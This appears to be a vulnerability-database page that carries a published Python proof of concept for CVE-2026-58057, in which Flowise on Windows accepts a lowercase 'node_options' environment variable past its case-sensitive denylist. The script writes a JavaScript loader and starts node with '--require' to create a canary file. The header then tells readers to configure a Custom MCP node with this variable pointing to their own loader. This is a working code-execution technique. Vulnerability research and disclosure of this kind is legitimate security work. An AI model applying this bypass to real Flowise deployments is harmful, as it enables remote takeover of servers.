| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2026-58057 | 28 Jun 202601:32 | – | attackerkb | |
| CVE-2026-58057 | 28 Jun 202605:54 | – | circl | |
| CVE-2026-58057 | 28 Jun 202601:32 | – | cve | |
| CVE-2026-58057 Flowise - Custom MCP Environment Variable Denylist Bypass via Case Sensitivity | 28 Jun 202601:32 | – | cvelist | |
| EUVD-2026-39977 | 28 Jun 202601:32 | – | euvd | |
| CVE-2026-58057 | 28 Jun 202602:16 | – | nvd | |
| 📄 Flowise 3.1.3 Arbitrary Code Execution | 7 Jul 202600:00 | – | packetstorm | |
| PT-2026-53089 | 28 Jun 202600:00 | – | ptsecurity | |
| CVE-2026-58057 Flowise - Custom MCP Environment Variable Denylist Bypass via Case Sensitivity | 28 Jun 202601:32 | – | vulnrichment |
# Exploit Title: Flowise 3.1.3 - arbitrary code execution
# CVE: CVE-2026-58057
# Date: 2026-06-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://flowiseai.com
# Software Link: https://github.com/FlowiseAI/Flowise
# Affected: Flowise < 3.1.3 (Windows deployments)
# Tested on: Windows + Flowise 3.1.2
# Category: Remote Code Execution
# Platform: Windows
# Exploit Type: Authenticated
# CVSS: 2.3 (Medium)
# Description: On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison.
# Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require.
# Fixed in: 3.1.3 (switched to allow-list)
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
# python3 exploit.py --marker C:\\Temp\\pwned.txt
#
# Notes:
# • Requires authenticated access to configure Custom MCP node
# • Only affects Windows deployments
# • Demonstrates bypass + canary RCE
#
# How to Use
#
# Step 1: Run the PoC to validate the bypass
# Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader
import argparse
import json
import os
import pathlib
import platform
import shutil
import subprocess
import sys
import tempfile
def flowise_style_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def normalized_validate(env):
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
for key, value in env.items():
if key.upper() in dangerous:
raise ValueError(f"Environment variable {key!r} modification is not allowed")
if "\x00" in key or "\x00" in str(value):
raise ValueError("Environment variables cannot contain null bytes")
def run_node_canary(marker):
node = shutil.which("node")
if not node:
return {"node_found": False, "canary_created": False}
marker_path = pathlib.Path(marker).resolve()
loader_path = marker_path.with_suffix(".loader.js")
loader_path.write_text(
"require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n",
encoding="utf-8",
)
env = os.environ.copy()
env.pop("NODE_OPTIONS", None)
env.pop("node_options", None)
env["node_options"] = f"--require {loader_path}"
env["FLOWISE_POC_MARKER"] = str(marker_path)
if marker_path.exists():
marker_path.unlink()
completed = subprocess.run(
[node, "-e", "process.exit(0)"],
env=env,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
return {
"node_found": True,
"node": node,
"returncode": completed.returncode,
"stderr": completed.stderr.strip(),
"marker": str(marker_path),
"canary_created": marker_path.exists(),
"canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "",
}
def run(marker):
exact_upper_blocked = False
lower_variant_accepted = False
normalized_blocks_lower = False
try:
flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"})
except ValueError:
exact_upper_blocked = True
try:
flowise_style_validate({"node_options": "--require accepted.js"})
lower_variant_accepted = True
except ValueError:
lower_variant_accepted = False
try:
normalized_validate({"node_options": "--require accepted.js"})
except ValueError:
normalized_blocks_lower = True
node_result = run_node_canary(marker)
result = {
"platform": platform.platform(),
"windows": os.name == "nt",
"flowise_style_exact_upper_blocked": exact_upper_blocked,
"flowise_style_lower_variant_accepted": lower_variant_accepted,
"normalized_validator_blocks_lower_variant": normalized_blocks_lower,
"node_canary": node_result,
"finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True),
}
print(json.dumps(result, indent=2))
return 0 if result["finding_reproduced"] else 1
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC")
parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt"))
args = parser.parse_args()
raise SystemExit(run(args.marker))
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation